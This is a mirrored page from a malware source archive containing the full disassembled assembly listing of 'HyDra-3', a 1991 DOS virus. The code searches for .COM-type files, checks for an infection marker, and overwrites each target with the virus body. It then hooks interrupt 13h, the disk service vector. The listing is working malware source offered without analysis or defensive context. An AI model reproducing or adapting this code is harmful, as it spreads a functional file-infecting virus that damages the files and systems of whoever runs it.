mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
164 lines
3.7 KiB
NASM
164 lines
3.7 KiB
NASM
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PAGE 59,132
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ HYDRA3 ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Created: 27-Aug-91 ÛÛ
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;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ
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;ÛÛ Copyright (c) ÛÛ
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;ÛÛ ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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psp_cmd_size equ 80h
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data_11e equ 100h
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data_12e equ 156h
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data_13e equ 159h
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data_14e equ 234h
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data_15e equ 256h
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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hydra3 proc far
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start:
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jmp loc_1
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pop cx
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inc sp
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add [bx+si],al
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data_3 db 'HyDra-3 Beta - Not For Release'
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db '. *.CO?'
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db 0
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data_6 dw 0, 8B39h
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data_8 dw 0
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data_9 db 0
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db 29 dup (0)
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data_10 db 0
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db 13 dup (0)
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copyright db 'Copyright (c)'
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db ' 1991 by C.A.V.E. '
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loc_1:
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push ax
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mov ax,cs
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add ax,1000h
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xor di,di ; Zero register
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mov cx,156h
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mov si,100h
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mov es,ax
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov ah,1Ah
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mov dx,offset data_9
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int 21h ; DOS Services ah=function 1Ah
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; set DTA(disk xfer area) ds:dx
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mov ah,4Eh ; 'N'
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mov dx,offset data_3+22h ; ('*')
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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jc loc_5 ; Jump if carry Set
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loc_2:
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mov ah,3Dh ; '='
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mov al,2
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mov dx,offset data_10
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mov al,2
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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mov bx,ax
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push es
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pop ds
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mov ax,3F00h
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mov cx,0FFFFh
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mov dx,data_12e
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int 21h ; DOS Services ah=function 3Fh
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; read file, bx=file handle
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; cx=bytes to ds:dx buffer
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add ax,156h
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mov cs:data_8,ax
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cmp word ptr ds:data_13e,4459h
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jne loc_3 ; Jump if not equal
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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push cs
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pop ds
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jc loc_6 ; Jump if carry Set
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jmp short loc_2
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loc_3:
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xor cx,cx ; Zero register
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mov dx,cx
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mov ax,4200h
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int 21h ; DOS Services ah=function 42h
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; move file ptr, bx=file handle
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; al=method, cx,dx=offset
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jc loc_4 ; Jump if carry Set
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mov ah,40h ; '@'
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xor dx,dx ; Zero register
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mov cx,cs:data_8
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int 21h ; DOS Services ah=function 40h
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; write file bx=file handle
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; cx=bytes from ds:dx buffer
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loc_4:
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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push cs
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pop ds
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loc_5:
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mov ah,1Ah
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mov dx,psp_cmd_size
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int 21h ; DOS Services ah=function 1Ah
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; set DTA(disk xfer area) ds:dx
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jmp short loc_7
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nop
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loc_6:
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push dx
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mov ax,3504h
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int 21h ; DOS Services ah=function 35h
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; get intrpt vector al in es:bx
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mov ax,es
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mov dx,bx
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mov ds,ax
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mov ax,2513h
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int 21h ; DOS Services ah=function 25h
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; set intrpt vector al to ds:dx
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mov ax,0
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int 21h ; DOS Services ah=function 00h
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; terminate, cs=progm seg prefx
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loc_7:
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xor di,di ; Zero register
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mov si,data_14e
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mov cx,22h
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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pop bx
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mov cs:data_6,0
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mov word ptr cs:data_6+2,es
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pop bx
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jmp dword ptr cs:data_6
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push ds
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pop es
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mov cx,0FFFFh
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mov si,data_15e
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mov di,data_11e
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sub cx,si
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov word ptr cs:[100h],100h
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mov word ptr cs:[102h],ds
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mov ax,bx
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jmp dword ptr cs:[100h]
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int 20h ; DOS program terminate
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hydra3 endp
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seg_a ends
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end start
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